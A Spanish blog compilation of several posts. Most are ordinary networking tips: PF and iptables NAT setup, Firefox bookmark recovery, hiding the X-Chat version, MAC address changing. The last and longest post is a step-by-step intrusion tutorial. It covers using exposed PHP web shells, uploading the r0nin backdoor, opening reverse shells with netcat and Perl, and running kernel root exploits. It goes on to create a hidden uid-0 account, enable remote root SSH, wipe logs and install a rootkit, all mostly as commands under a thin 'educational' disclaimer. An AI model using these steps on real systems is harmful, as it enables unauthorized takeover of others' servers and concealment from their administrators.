Hace poco mientras revisaba mi cuenta de Gmail encontré varios mensajes extraños:

Pero no era extraño el hecho de que sea spam dirigido a mi dirección de correo electrónico, ni que haya sido “enviado por mi” (fijarse en el remitente) ya que falsificar el remitente es muy fácil hoy en día, era extraño el hecho de que los mensajes se encontraban en la carpeta Enviados.

Imagino que lo más probable es que quienes envían estos mensajes sepan de esta falla. Me parece raro que Gmail no haya pensado en esta posibilidad y su filtro de mensajes pase por alto que alguien se “envíe” un e-mail a si mismo desde un servidor que probablemente no es el de Gmail, y aún así no envíe el mensaje a la Bandeja de Entrada como es costumbre, sino a la carpeta Enviados. Es cierto, proviene supuestamente de mi misma dirección, pero el servidor debería poder autentificar las falsificaciones de correo como hace con el resto del spam u otros mensajes.

Hasta el día de hoy sigo recibiendo e-mails de este tipo y realmente no me molesta, pero si me molesta de que ahora hay otra forma más de evadir la múy utilizada carpeta Spam, permaneciendo en la cuenta de correo del usuario hasta que estos mensajes se borren o el mismo los vea.

Como veremos en este artículo, además de usarlo como firewall podemos usarlo para compartir internet desde un servidor hacia PCs que estén conectadas a el.

Sus reglas son bastante más sencillas que IpFilter e Iptables, por lo que no nos costará entender lo que vamos a hacer.

Hagamos de cuenta de que tenemos el mismo caso que en mi tutorial de compartir internet con iptables: Una PC servidora la cual tiene dos tarjetas de red: Una la cual recibe la conexión a partir de un módem, router o switch, y la otra la cual debe proveer de conexión a otra pc (digamos un “cliente”).
En BSD las tarjetas son mencionadas de otra forma (sin el tipico eth0, eth1, etc etc, de GNU/Linux). Por ejemplo, una tarjeta Via Rhine se llamará vr0, vr1, etc; y una Davicom se llamará dc0, dc1, etc etc. Así que primero debemos averiguar bien el nombre de cada tarjeta de red antes de seguir.
Para usar PF obviamente tenemos que iniciarlo. Por defecto el mismo no se ejecuta al inicio, así que podemos elegir entre inciarlo manualmente con el comando /etc/rc.d/pf start, o editar /etc/rc.conf para habilitarlo. Lo hacemos de la siguiente manera:

Editamos /etc/rc.conf con el editor que elijamos. En OpenBSD vamos hasta la línea donde pone:

pf=NO

Y le cambiamos el NO por un YES.

En FreeBSD vamos a la línea que dice:

pf_enable=NO

Y también cambiamos el NO por YES.

En NetBSD editamos el mismo archivo, pero tenemos que añadir pf=YES al final.

Ahora debemos editar el archivo /etc/pf.conf. Buscamos estas dos líneas:

ext_if=””

int_if=””

Supongamos que tenemos vr0 y vr1; la primera recibe la conexión y la segunda es la que queremos que comparta internet al “cliente”. Así que deberíamos poner a vr0 como interface externa y a vr1 como interface interna:

ext_if=”vr0″

int_if=”vr1″

Activamos NAT (Network Adress Translation), el cual nos permitirá cambiar la IP de los paquetes salientes y entrantes de nuestras pcs “clientes” por la IP externa de nuestro ordenador que comparte internet. Para eso descomentamos la siguiente línea:

#nat on $ext_if from !($ext_if) -> ($ext_if:0)

Con esto hará que se aplique NAT a todos los paquetes que no vengan de nuestra interface externa.

Ahora dejamos pasar todo el tráfico (entrante y saliente) de nuestra interface interna. Agregamos las siguientes líneas:

pass in on $int_if all

pass out on $int_if all

Guardamos el archivo y ya podemos seguir con el próximo paso.

Puede suceder que cuando iniciemos PF nos diga un error como el siguiente:

pfctl: /dev/pf: device not configured.

Eso ocurre cuando no se carga el módulo de packetfilter. Para cargarlo solo nesecitamos hacer:

# modload /usr/lkm/pf.o

E intentamos activar pf nuevamente.

Para evitar tener que activarlo cada vez que iniciamos el ordenador, podemos activar lkm (loadable kernel module (un daemon que activa y desactiva módulos)) al inicio del sistema:

Editamos /etc/rc.conf y buscamos la línea que diga:

lkm=NO

Y cambiamos el NO por YES.

En NetBSD debemos añadir lkm=YES al final.

Luego editamos el archivo /etc/lkm.conf, y abajo de todo agregamos lo siguiente:

/usr/lkm/pf.o – - – - BEFORENET

Con esto el lkm activará el módulo de packet filter antes de que se inicien las funciones de red (BEFORENET) y antes de que obviamente, se inicie PF.

Si ya activamos PF antes de editar el archivo de coinfiguración, podemos cargar de nuevo el pf.conf que acabamos de editar de la siguiente forma:

# pfctl -f /etc/pf.conf

Por último, activamos el ip forwarding (el proceso en el cual se redirigen paquetes de una red a otra, en este caso, de internet a una o más pcs “clientes” de nuestra red local):

# sysctl net.inet.ip.forwarding=1

Para que no tengamos que activarlo cada vez que iniciamos el sistema, editamos el archivo /etc/sysctl.conf y descomentamos la siguiente línea:

#net.inet.ip.forwarding=1

O sea, le quitamos el #.

Y ya está. Podemos reiniciar para que se active todo automáticamente o podemos activar todo a mano de las formas que mencioné arriba.

Sugiero leer la documentación de Packet Filter para entender mejor estas funciones y aplicarlas como uno desee.

This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License.

A mi jamás me ha pasado, pero lo he visto en otras PCs. Sucede a veces cuando cierras el Firefox y al abrirlo nuevamente ya no tienes más marcadores (favoritos, bookmarks, es lo mismo).

Para recuperarlos podemos hacer lo siguiente:

Cerramos el Mozilla Firefox.

En Windows:

Nos dirigimos a C:\Documents and Settings\Tu usuario\Datos de programa\Mozilla\Firefox\Profiles\carpeta-de-tu-profile\bookmarkbackups

(Obviamente la unidad de disco rígido puede cambiar según donde tengan instalado Windows).

Copiamos el archivo .html más actual (por ejemplo, si tenemos 2007-10-21.html, 2007-11-02.html y 2007-11-06.html entonces copiamos la última) a la carpeta anterior (o sea, la de tu profile) con el nombre de bookmarks.html (si, tenemos que sustituir el bookmarks.html que ya estaba ahi).

En sistemas Unix o Unix-like:

$ cd ~/.mozilla/firefox/carpeta-de-tu-profile/bookmarkbackups

$ cp la-copia-mas-actual-que-tengan.html ~/.mozilla/firefox/carpeta-de-tu-profile/bookmarks.html

Abren el Firefox, y listo, ya tienen de nuevo sus marcadores.

La mejor opción para estos casos es usar Iptables. ¿Por qué?. Iptables viene incluido en casi todas las distribuciones de GNU/Linux; es más seguro porque viene integrado al Kernel (no como los programas de firewall que escuchan en determinado puerto) y con un par de comandos puedes realizar fácilmente lo que te propongas hacer.

Iptables funciona de la siguiente forma:

iptables
-tabla
–comando cadena
—regla
—-objetivo

O sea, debemos llamar a iptables, especificar en que tabla se actuará (en cual se agregarán, eliminarán o modificarán datos), definir una acción a realizar, que reglas y condiciones le aplicamos a esa acción a realizar, y el objetivo (a que cosa/s va a afectar).

Bien, veamos como realizar dicha tarea con el típico ejemplo de red:

Tenemos varios ordenadores en nuestra red, cada cliente tiene por lo menos una interfáz de red y el server tiene dos o más (una para recibir la conexión de internet y la otra/s dependiendo de la cantidad de clientes que sea igual a las de los mismos).

En este ejemplo se tendrá un ordenador servidor con dos interfaces de red (eth0 y eth1).

Por eth0 recibe la conexión a internet y por eth1 se comunica con el ordenador cliente que hay en la red.

Pero antes de configurar a donde enviaremos los paquetes que lleguen de internet a los demás ordenadores (y viceversa), debemos activar el reenvío de los mismos, o sea, hacer un ipforwarding. Entonces en nuestro server, como root hacemos:

# echo 1 > /proc/sys/net/ipv4/ip_forward

Ahora debemos agregar los comandos a Iptables para que nos permita el recibir y enviar paquetes (desde y hacia internet) con los demás ordenadores.

# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

-t = Especifica la tabla de reglas, en este caso nat.

nat = (Network Address Translation). Es la tabla de manipulación de direcciones y puertos.

-A = Agrega un comando o una regla a la tabla.

POSTROUTING = Modifica el destino del paquete/s luego de que se decide si irá al ordenador local (server o el que tiene el firewall) o a otro ordenador de la red.

-o = Sirve para especificar la interface

eth0 = La interface de red a la que se sale a internet.

-j = Aplicar

MASQUERADE = Enmascarar. Significa que el router (en este caso nuestro ordenador hace de router con Iptables) reemplaza la información que viene de un paquete, o sea, le pone su propia IP y número de puerto y lo envía a su destino. Los paquetes de regreso llegan al router y este revisa a que ordenador van dirigidos (de los que estén especificados en el mismo router), les quita el enmascaramiento y los envía al host que envió la petición origen.

Todo bien con esto, pero así se enmascararían todos los paquetes que pasen por nuestra interface que conecta a internet. ¿Que pasa si queremos nada más enmascarar el rango de IPs de nuestra red? Con esto podríamos evitar que se use nuestra conexión externamente para enmascarar sus paquetes.

Si el rango de IPs de nuestra red es el típico 192.168.0.x hacemos:

iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24

Con eso especificamos que se enmascaren solamente los paquetes enviados por las IPs 192.168.0.0 hasta 192.168.0.255. El /24 sirve para especificar la máscara de red (que naturalmente debe ser 255.255.255.0). En caso de tener además de ese rango por ej, tienen el 192.168.1.x solo deben agregar la misma regla una vez más, pero cambiando el 192.168.0.0 por (obviamente) 192.168.1.0.

Para no tener que hacer esto cada vez que reiniciamos el ordenador, nos conviene guardar los comandos en algún script que se ejecute al iniciar (como /etc/rc.local). Simplemente ponemos un comando por línea y las órdenes se ejecutarán durante el booteo de tu GNU/Linux.

Si tienen dudas o quieren hacer alguna otra cosa pueden leer alguno de estos manuales

Linux data inf – Como configurar una red con un firewall.

Manual práctico de Iptables.

O pueden buscar otros de los varios que hay rondando por internet, o simplemente tecleando en su consola:

man iptables

This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License.

Buscando resolver un problema con el X-Chat me topé con la forma de como realizar este famoso truco que ya casi todos conocemos pero no sabemos hacer.

Es muy sencillo:

Escribimos el siguiente comando en nuestra ventana de X-Chat:

/set irc_hide_version 1

Con eso desactivaremos que responda con el version verdadero.

Si queremos que no tengamos que escribir ese comando cada vez que iniciamos el X-Chat, editamos el archivo xchat.conf que tenemos en la carpeta raíz del X-Chat, y donde dice irc_hide_version = 0 le cambiamos el 0 por un 1.

Ahora vamos al menú Settings —> Advanced —> CTCP Replies, y hacemos lo siguiente:

Clickeamos en Add New y en el primer recuadro que dice *NEW* escribimos VERSION, y en el segundo recuadro (que dice EDIT ME) escribimos nctcp %s Lo que queramos que le responda al que envía. Por ejemplo, si escribimos nctcp %s Windoze 5.0 le responderá por mensaje privado (notice) al usuario lo siguiente:

Windoze 5.0

Cuando terminamos clickeamos en Save, y ya hemos terminado.

Bueno, empecemos.

Supongamos que nuestra tarjeta de red es eth0.
Ahora abrimos una terminal y entramos en modo de superusuario. Si no estás logueado como root puedes entrar en modo de superusuario con el comando su y escribiendo la contraseña de root, o con el comando sudo (solo disponibles en ciertas distribuciones).
Ahora lo primero que haremos será mirar nuestra MAC adress actual.
Esto podrás hacerlo con el comando:
ifconfig

Buscamos eth0, y veremos algo como esto:

eth0      Link encap:Ethernet  HWaddr 00:0D:87:E5:45:6E
inet addr:XXX.XXX.XXX.XXX  Bcast:255.255.255.255  Mask:255.255.255.0

Etc etc.

XXX.XXX.XXX.XXX es tu IP actual.
La MAC address es la que está resaltada.
Ahora pondremos down esa tarjeta de red así podremos aplicarle los cambios.
Escribe:
ifconfig eth0 down
(Eso desconectará internet)
Ahora lo que debemos hacer es cambiar la MAC address de eth0 actual por una diferente. Podemos cambiarle el último caracter, o varios; de cualquier forma nos dará otra IP. En este caso cambiaremos el último. Eso lo hacemos con el siguiente comando:
ifconfig eth0 hw ether 00:0D:87:E5:45:6D

(Nótese que se cambió la última E por una D)
Hay que respetar una cosa: Donde hay números sólo podemos cambiarlo por números, y donde hay letras sólo podemos cambiarlo por otras letras. Las letras solamente pueden ser de la A a la F.

Ahora volvemos a poner up la tarjeta con el comando:
ifconfig eth0 up
Y finalmente reiniciamos la red, con el comando:
dhclient eth0

Y nuestro ISP automáticamente nos dará una IP diferente.

This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License.

Los pasos que voy a describir en este tutorial son los siguientes:

1_ Conseguir una shell PHP decente.
2_ Conectar al ordenador víctima.
3_ Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima.
4_ Agregar usuario root para poder conectar mediante SSH.
5_ Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.
6_ Activando o reiniciando SSHD en caso de ser necesario.
7_ Conectando mediante SSH con tu usuario root.
8_ Utilizando limpiadores de logs
9_ Rootkits (Opcional).
10_ Aclaraciones finales.

Empecemos…

• 1_ Conseguir una shell PHP decente:

¿Que quiero decir con eso? Una shell PHP es un script donde pueden ejecutarse comandos de la misma forma que en una consola de texto (en este caso será una consola de texto de GNU/Linux). Los comandos disponibles son solamente los que el ordenador que tiene esa shell PHP permite. En pocas palabras, una shell PHP es una consola de texto más.
Para obtener una shell PHP podemos hacer dos cosas: O lograr subir una shell PHP al ordenador víctima aprovechando alguna vulnerabilidad, o buscar una  que ya esté subida a otro ordenador víctima (esto es lo mejor si solo quieres practicar).
Antes de buscar una shell PHP, o usar una que ya tengamos, nesecitamos tener un punto en cuenta:
El ordenador víctima debe tener el Safe mode de PHP desactivado, o sea, OFF, si está ON no permite la ejecución de archivos ni la navegación por los directorios; así que si está en ON no nos servirá.
Podemos encontrar muchas shells PHP con safe mode OFF usando a nuestro amigo Google, de las dos siguientes formas:
“Safe mode: OFF”
“Safe mode: OFF (Not secure)” <— Esta es mejor
Lo mejor es incluir las comillas, así los resultados serán mucho más exactos.

Para fijarnos el sistema operativo que está corriendo ese ordenador podemos utilizar el comando:

uname

Si dice otra cosa que no sea “Linux”, entonces no sirve.

Una vez que hemos encontrado un ordenador con Linux podemos empezar a probar que comandos tenemos disponibles, así iremos viendo si vale la pena seguir adelante.

Con decente me refiero a que permita ejecutar binarios (ejecutables), se puedan subir archivos mediante el comando wget, o desde la misma shell; y permita que puedan conectarse al ordenador víctima de forma que obtengan su shell, o que permita que ese ordenador nos de su shell a través de una conexión inversa.

¿Como averiguamos esto? Con el siguiente paso:

• 2_ Conectar al ordenador víctima:

Ya tenemos la shell PHP con Safe mode OFF, ahora lo que debemos hacer para poder utilizar un exploit y ganar acceso como root, es conectarnos al ordenador víctima.
¿Como hacemos eso? Hay dos formas:
La primera es utilizando un backdoor, que es una especie de troyano el cual se instala en X puerto y nosotros podemos acceder a el mediante netcat, u otro programa similar.
En este caso usaremos el troyano para linux más conocido y usado: r0nin
Al ejecutarse este backdoor se instala en el puerto 1666
Lo subimos mediante wget y la url del archivo, o con la misma shell (si es que da la opción).
Para ejecutarlo vamos al directorio donde está el r0nin y escribimos:
chmod +x r0nin
Con eso le damos permiso de ejecución. Y ahora:

./r0nin

./ significa que se ejecuta el archivo que está en ese mismo directorio.

Bien, ahora revisaremos si el ordenador permite que nos conectemos a el. En este caso usaremos el netcat para tratar de conectar al host. Escribimos en la consola:

nc ipdelhost 1666

Si aparece la shell de la víctima ya no nesecitas probar hacer una conexión inversa y puedes pasar al paso 3, pero si no funciona deberás probar el otro método.

El otro método es: Conexión inversa.

¿Como funciona esto? Dejas un puerto de tu ordenador a la escucha, eso quiere decir que aceptará cualquier conexión entrante en el puerto especificado. En este caso usaremos el puerto 31337, así podremos recibir la shell que enviaremos del ordenador víctima al nuestro.
Para dejar a la escucha el puerto 31337 escribimos:

nc -l -n -v -p 31337

Debería aparecer algo como esto:

listening on [any] 31337 …

Ahora que ya dejamos el puerto listo, debemos enviar la shell de la víctima a aquel. En la shell PHP del equipo víctima escribimos:

nc -e /bin/bash nuestraip 31337

Si no tiene el netcat, o el mismo ha sido deshabilitado, podemos subirle uno, darle permisos llendo al directorio donde se encuentra el mismo y haciendo chmod +x nc, y ejecutarlo de la misma forma que el paso anterior, pero antes especificar que se usará el nc que está en el directorio en donde estamos nosotros, o sea, usando ./

También puedes subir el lugar del netcat, un script en perl que realice una conexión inversa; en este ejemplo usaremos mi preferido.
Para ejecutarlo luego de subirlo, ve al directorio donde se encuentra el mismo, dale permisos de ejecución con chmod +x pb.pl, y ejecútalo de la siguiente forma:

perl pb.pl tuip 31337

Ahora deberías tener la shell de tu víctima lista para usar. Si ninguno de los pasos anteriores sirve, lo mejor es que te des por vencido y busques otro ordenador con una shell PHP e intentes de nuevo los pasos anteriores, ya que aquel debe tener firewall y no permite conexiones entrantes ni salientes en puertos que no sean utilizados para tareas comunes y corrientes (ejemplo, puerto 80 para servidor web, 25 para correo, etc).

Ahora que ya tienes la shell de tu víctima, puedes ir al paso 3:

• 3_ Consiguiendo y utiilizando un rootexploit para la versión de Kernel del ordenador víctima:

Ahora, para conseguir permisos de root en ese ordenador, debemos explotarlo utilizando un rootexploit. Busca por cualquier lugar en internet y los encontrarás.

Pero antes de probar cualquier exploit lo mejor es ver que versión de Kernel tiene la víctima, para eso escribimos en la shell de la misma:

uname -a

Da por resultado la siguiente información:
Linux (hostname del usuario) (versión del Kernel) #1 (fecha de creación de ese Kernel) (arquitectura del procesador)
Un ejemplo puede ser:

Linux localhost 2.4.20 #1 SMP Thu Mar 13 17:45:54 EST 2003 i686

Como vemos, lo mejor será utilzar algún exploit de esa rama de Kernel (2.4.x), así que subimos el exploit que queramos de ese directorio (sugiero empezar por el primero), le damos permisos de ejecución e intentamos ejecutarlo.
Cada vez que probemos el exploit y este termine de ejecutarse, escribiremos el comando id, y habremos conseguido permisos de root si nos sale algo como esto:

uid=0(root) gid=0(root) groups=0(root)

Si en lugar de eso sale el nombre de un usuario normal y el grupo de usuarios, quiere decir que el exploit no ha funcionado, así que debemos bajar otro e ir probando hasta lograrlo.

Una vez que hayas conseguido permisos de root, podrás seguir con el cuarto paso:

• 4_ Agregar usuario root para poder conectar mediante SSH:

Ya tienes permisos de root, así que ahora podrás agregar un usuario, luego darle permisos de root a ese usuario así podrás conectarte a el mediante SSH (para más comodidad, y además por si llegan a borrar la shell php que te permitió entrar allí).

Si queremos que nuestro usuario se llame t00r, escribimos el siguiente comando:

useradd t00r -d /root -g 0 -p lapassquetuquieras -s /bin/bash

-d es para establecer el directorio de ese usuario, en este caso pusimos /root, que es un directorio ya existente, así nadie se da cuenta de que ha habido cambios en el ordenador.
-g es para establecer el número del grupo, en este caso es el 0, que pertenece al root.
-p es para establecer la password para ese usuario, la cual debe tener por lo menos 6 carácteres
-s es para establecer que tipo de shell usará ese usuario. La más común es bash, aunque puedes elegir la que tu quieras.

Una vez agregado el usuario, puedes proceder a darle permisos de root de la siguiente forma:
Editar el archivo passwd. Para eso deberás primero copiarlo a algún lugar que sea accesible desde la web (así podremos usar un script PHP que subamos para editarlo).
Suponiendo que el directorio en donde se ecuentra la shell PHP es: /home/usuario1/www, debemos poner:

cp /etc/passwd /home/usuario1/www/passwd

Ahora debemos darle a dicho archivo permiso de lectura y escritura por cualquier usuario (666). Nos situamos en el directorio en donde lo hemos copiado, y escribimos:

chmod 666 passwd

Ahora puedes subir algún script PHP que te permita modificar dicho archivo, o utilizar la misma shell PHP si lo permite (ya que la que más comunmente encontraremos es la que permite editar, descargar y eliminar archivos).
Si no tienes dicha shell, súbela al servidor. Una vez subida cámbiale la extensión txt por php, situándote en el directorio donde esta se encuentra, y con el comando:

mv c99.txt c99.php

Ahora entra a la shell, busca el archivo y edítalo. Ahora debes buscar una línea como esta:

t00r:x:1003:0::/root:/bin/bash

El 1003 es el uid del usuario (id único) que se le asignó en ese momento (varía según cuantos usuarios haya en ese ordenador). O sea, si el último usuario agregado antes de t00r tiene el uid 501, t00r tendrá el 502.
El 0 como dijimos antes, es el número del grupo root.
Etc etc.
Ahora debemos cambiar ese 1003 por el uid de root (0), de forma que quedaría así:

t00r:x:0:0::/root:/bin/bash

Luego de editarlo dale los permisos que tenía antes (644, que es que pueda ser nada más editado y leido por el root, y por los demás solamente leído) de la siguiente forma:
Ve a la shell rooteada, luego al lugar donde has copiado el archivo passwd y escribe:

chmod 644 passwd

Ahora cópialo a su lugar original:

cp passwd /etc/passwd

Con esto ya estás listo para el siguiente paso:

• 5_ Configurar SSHD en caso de ser necesario para poder conectar al ordenador víctima mediante SSH con nuestro usuario root.

Para mirar el puerto en el que SSHD está funcionando (o funcionará cuando lo activemos) revisaremos la configuración con el siguiente comando:

cat /etc/ssh/sshd_config | grep Port

Debería salirnos algo como:

Port 22
GatewayPorts no

Port es el puerto en donde SSHD funciona al iniciarlo. (Este puede variar según lo que haya elegido el que editó el archivo anteriormente). El que viene por defecto al instalar SSHD es el 22.
Si esa línea tiene antes de todo un #, significa que está comentada, y que será ignorada por el SSHD al iniciarse, y se tomará la orden por defecto, en este caso el puerto 22.
Para evitar que SSHD nos impida loguearnos con nuestro usuario root, lo mejor es que revisemos si permite logueos remotos con usuarios root. Esto lo hacemos de la siguiente forma:

cat /etc/ssh/sshd_config | grep PermitRootLogin

Debería aparecernos algo como:

PermitRootLogin yes

Si esa línea está comentada, el servidor toma como que están permitidos los logins remotos con usuarios root. Ejemplo:

#PermitRootLogin yes

O sino:

#PermitRootLogin no

De cualquier forma el servidor dejará hacer el login.
Si la línea está puesto en yes, o está comentada, podemos seguir con el paso número 6.
Si no dice yes y la línea no está comentada, significa que el login remoto con usuarios root está desactivado, así que debemos cambiarlo por yes.
Para eso repetimos el procedimiento del paso número 4 (cuando editamos el archivo passwd). Pero esta vez con el archivo /etc/ssh/sshd_config, buscamos la línea mencionada anteriormente (PermitRootLogin), la cambiamos por yes, y antes de copiarlo a su lugar de origen le damos los permisos 640.

Ahora puedes seguir con el siguiente paso:

• 6_ Activando o reiniciando SSHD en caso de ser necesario:

Para poder conectar mediante SSH al ordenador víctima y usar tu usuario con permisos de root, primero nesecitarás ver si SSHD (Secure Shell Daemon) está activo.
Escribe:

ps ax | grep sshd

ps es para mostrar los procesos del sistema.
a es para mostrar todos los procesos.
x es para mostrar incluso los procesos que están corriendo mediante consola de texto.
| es una tubería que indica que la información dada será enviada a otro programa.
grep es un programa que filtra el texto de un archivo o comando, y muestra nada más la línea completa en donde está el texto que introducistes (en este caso sshd). Así mostrará nada más la información de SSHD.
Si SSHD está funcionando, debería aparecerte algo como esto:

8505 ?        Ss     0:00 /usr/sbin/sshd

Si no aparece nada es porque no está funcionando.
Si habíamos cambiamos la configuración de SSHD (paso 5) y el mismo está activo, deberemos reiniciarlo para que se apliquen los cambios.
Obviamente para activar o reiniciar SSHD primero debemos localizarlo, esto lo hacemos con el comando:

locate sshd | grep /etc

Debería aparecer algo como esto:

/etc/ssh/sshd_config
/etc/init.d/sshd

O así:

/etc/ssh/sshd_config
/etc/rc.d/rc.sshd

(Obviamente la segunda opción de cada caso es SSHD).
Para reiniciar SSHD escribimos (suponiendo que es el primer caso o sea /etc/init.d/sshd):

/etc/init.d/sshd restart

O si SSHD no estaba iniciado lo activamos con el comando:

/etc/init.d/sshd start

Si todo sale bien ya estamos listos para el siguiente paso:

• 7_ Conectando mediante SSH con tu usuario root:

Ahora, para conectarte hacerlo si tienes GNU/Linux o alguna variante de Unix escribe:
Si el puerto en la config de SSHD era 22, no hace falta que lo especifiquemos, así que deberíamos escribir:

ssh ipdelhost -l t00r

-l es para especificar el usuario con el que te quieres conectar (en este caso t00r).

Pero si era otro puerto, por ej, 516, debemos escribir:

ssh ipdelhost -p 516 -l t00r

-p obviamente, es para especificar el puerto.

Desde Windows puedes usar algún cliente de terminal (por ej PuTTY), al abrirlo colocamos la ip del host y el puerto y clickeamos en conectar.

Una vez que ya has conectado puedes ir el siguiente paso:

• 8_ Utilizando limpiadores de logs:

Una vez que ya has hecho todo, lo que más conviene es usar un limpiador de logs. ¿Por qué?
La respuesta es esta: Muchas de tus acciones quedan guardadas en varios logs del sistema, por lo que es conveniente (para evitar que los administradores descubran tu ip o algún dato tuyo que pueda llevarlos a denunciarte), borrar dichos logs.
Para eso puedes usar cualquier delogger. En este caso usaremos deloger.
Simplemente súbelo, dale permisos con chmod +x y ejecútalo con ./deloger, estando en la shell de la víctima en modo root.

• 9_ Rootkits (Opcional):

Advertencia: Algunos rootkits pueden hacer que no puedan verse ciertos archivos, ya que para eso están hechos (para ocultar archivos, usuarios y procesos). El rootkit que se ofrece a continuación no ha sido probado por mi, de forma que no puedo garantizar que funcione de la manera esperada. Úsalos bajo tu propia responsabilidad.

Como dice Wikipedia: “Un rootkit oculta inicios de sesión (logins), procesos, archivos y registros (logs). Puede incluir software para interceptar datos procedentes de terminales, conexiones de red e incluso el teclado (keylogger).”
Explicado de otra manera, un rootkit nos servirá para pasar inadvertidos ante los administradores del ordenador que hemos rooteado.
Primero lo descomprimimos con el siguiente comando:

tar xvf toolkit.tar.gz

Vamos a la carpeta del toolkit, damos permiso de ejecución a install con chmod +x install, y lo ejecutamos:

./install

Nada más.

• 10_ Aclaraciones finales:

Este texto, ha sido publicado con fines educativos. ¿Con que objetivo? Simple. Mediante este artículo quiero demostrar la facilidad con la que hoy en día puede quebrantarse la seguridad de un servidor u ordenador común y corriente. Además quiero mostrar de que forma un atacante se va haciendo con el control del ordenador o servidor víctima, así los que lean este artículo podrán aprender a mejorar la seguridad de los mismos.

This work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License.